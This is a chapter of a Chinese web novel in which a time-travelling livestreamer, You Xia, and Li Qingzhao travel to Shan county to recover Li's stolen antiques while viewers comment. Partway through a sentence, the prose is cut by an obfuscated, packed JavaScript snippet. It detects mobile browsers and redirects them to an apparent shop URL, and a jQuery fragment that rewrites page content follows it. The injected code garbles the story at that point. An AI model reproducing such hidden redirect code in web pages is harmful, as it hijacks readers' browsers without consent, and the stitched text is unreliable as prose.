“别想那么多,”系统顿了顿,又说道:“而且你已经让李清照喝到了好酒不是吗?她现在很开心。” 系统想说想那么多也没有,平行时空的数量多得数不清,谁也不能保证每个时空的李清照都能避开命运中的每一道难关,游夏若要钻这个牛角尖,这辈子都钻不完。 “系统,我知道了!”系统尚未开口,游夏便已想通了。系统说得对,想那么多有的没的做什么?顾好当下最重要,她让李清照喝到了美酒,怎么就不能帮她避开那些不好的事?看见这个时空的李清照过得开心就足够了! 见她不再钻牛角尖,系统很是欣慰,再次提醒道:“你是来工作的,你可以将改变历史遗憾作为直播的剧情之一,但你不是专门为了改变历史遗憾而来的,这样你会很累,也会把自己困住的。来之前你说你要快乐工作,准备直播在古代游山玩水的生活,游山玩水没播成,快乐工作总要有吧?” 要快乐工作! 怀着这个想法,游夏精神抖擞地从睡梦中苏醒,用焖烧杯焖了粥,待李清照醒来,二人简单梳洗,就着榨菜喝粥,清晨配着爽口小菜喝上一碗热粥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392891|199632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的感觉太过舒适,李清照意犹未尽地放下瓷勺,便听游夏问道:“您现在打算去哪儿?” 李清照想了想,说道:“一月前,我追着赵构到越州,那时才知他已去了四明,我急着寻他,为轻装简行便把大部分古器字画寄放在了剡县,我打算去剡县把它们取回来。”[1] 经历昨夜之事,李清照也不再唤赵构官家,她本以为第一次直呼赵构之名会觉别扭,谁知意外地顺口。也是,本就只是人名,有什么不能喊的? 游夏快速地在系统导航里输入目的地:“您坐稳,我们马上出发!” 海面倒映着碧蓝如洗的天空,一朵船似的云从海面上飘过。 “系统,上播!” - 特别关注的直播间开播提示音让埋头苦写的于妙言终于停下敲键盘的手,她连忙进入直播间,看到那片熟悉的大海和快艇,她心下一喜:“还以为要被封好几天呢,居然今天就解封了。” 跟第一次直播时不同,这次直播间刚开播就涌入了十几位观众。 【主播终于开播了!昨晚直播间突然被封,我一晚没睡,生怕再也看不到你了呜呜】 【昨晚后面的剧情还能看不,能不能把李清照喝茅台之后的剧情放出来啊,看不到我心里刺挠】 【不会放出来的……昨晚我在A站看到了主播的账号,她上传了昨晚的回放,最后一秒就停在那声‘好酒’!】 【不是录播吗?为什么不能放出来,难道直播间被封也在编剧的剧情之一吗?】 【嘶!西斯鼻孔!说不定喝酒被封也是剧本情节,就是为了让我们蹲在直播间等开播!】 【那这编剧很恐怖了】 【有没有可能一些情节是直播,一些是录播?带赵构去现代是录播,在古代的情节是直播?】 【很有可能哦,主播能不能解答一下,好好奇】 【怀疑主播永远不会解答,就想让我们猜猜猜】 游夏:观众朋友们,对不起,不是她不想解答,还是那句话,她解释不了啊! 有新来的观众一头雾水地进来,被弹幕逮着安利,随后在直播间驻扎下来,一边在A站上看昨天的直播回放补档,一边关注着直播间的新动向。但没过多久,新观众就完全沉浸在回放中,直播界面则被他缩小放到了一边——今天的直播前摇依旧很长。 从游夏开播开始,她就在开船,一个小时过去,直播间画面终于有了变化——驾驶员从游夏变成李清照,二人接力开船,开了足足三个小时才靠岸。 “还好有李清照,不然按你的速度,开四个小时说不定都还没到。”系统说道。 游夏觉得它跟昨晚比起来,简直是判若两统,把那个会开解她的系统还回来!还是说系统跟人一样,晚上就会变温柔感性一点? 三个小时足以劝退一些观众,昨天看过直播的观众伸出尔康手苦苦挽留,却被一句“那什么时候会进入正式情节”问得哑口无言。他们也不知道,按昨天的经验,五六个小时? 终于看到靠岸,苦等三小时的老观众简直要喜极而泣,但很快他们又想哭了——二人上岸后,游夏又从系统商城里换了辆马车继续赶路! 【又是坐船又是坐马车,看得我屁股疼】 【不想看赶路】 系统感到奇怪,昨天游夏划了快六个小时的船都没人觉得无聊,怎么今天观众反而觉得枯燥了? 观众:因为看过跌宕起伏的剧情,所以现在看漫长的前摇又期待又烦躁! 系统又开始分析起来,剡县在内陆,游夏她们上岸后换乘马车,还需两日才能到达剡县,这不利于直播间提高热度。 “宝子,建议你使用时间跳转功能,可直接跳转到抵达剡县当日。”系统建议道。 屁股快成八瓣的游夏:你怎么不早说! 观众还在讨论二人又要驾多久马车,一张地图出现在了直播间内。那是一张简易的卡通地图,一辆载着游夏和李清照的Q版头像的小马车在地图上呼啸而过,最后停在地图上标着五角星的位置,五角星下写着“嵊县”二字。 地图上方显示“两天后”三个字。 【太好了!是时间大法!我们有救了!】 【为什么不早点用呜呜呜我等得花都要谢了!】 【可能以为咱们爱看户外运动吧……】 【嵊县是哪啊?主播和李清照为什么要去这里?】 【俺知道,李清照之前嵊县寄放了部分收藏,应该是要取走吧,但是我记得东西好像被什么李将军搜刮走了】 【不对吧,那不是剡县吗?《金石录后序》里写的】 【北宋宣和年间,剡县就改名成了嵊县,但李清照还是写的剡县,大概就和有人喜欢把南京称为金陵一样,觉得古称更美吧】 游夏没想到时空跳转功能这么神奇,她不过眨了下眼,剡县的城墙就出现在她眼前,更神奇的是她脑海中还有这两日坐马车的记忆,李清照亦是面色如常,在她眼里,她们就是普普通通地赶了两天路而已。 游夏没有细想其中的原理,只因看到了那条说李清照的收藏被人搜刮走了的弹幕。 她们回来得肯定比原来历史中的李清照早,说不定这时候那李将军还没来得及将这些东西据为己有呢?游夏心存侥幸地想着,右眼皮却是狠狠一跳。 此时游夏已换了身衣服,这是李清照的旧衣,二人身量相当,穿着还算合适。终于要进入古代城市,游夏有些激动,一会扯扯袖子,一会摸摸头发,她的头发短,梳不了古代女子的发髻,便特意从系统商城换了顶假发,从外表上看去,还真像是个普通的宋朝女子。 受现代行政区划的影响,游夏想当然地以为剡县应是个荒凉的小地方,谁知人家不仅不荒凉,甚至还有堵高高的城墙,虽说城门不大,但门口也有守卫在盘查入城人员,看着井然有序。这让她又一次觉得自己是个文盲。 游夏没有宋代的身份凭证,想进城得费些功夫,便干脆让系统给她和李清照上了保护罩,利用保护罩的隐身功能,两人大摇大摆地进了城内。 李清照本无须隐身,她又不像游夏一样是个黑户,游夏却坚持两人一同隐身,李清照不明所以,却也欣然接受。 等到了她租来存放宝物的宅子,发现里面空空如也,而游夏毫不意外地拉着她往外走,说带她去把东西拿回来时,李清照这才明白游夏这么做的目的。 若是失主刚回来取东西,小偷就发现自己的赃物丢了,那谁把赃物取走的不就一目了然吗?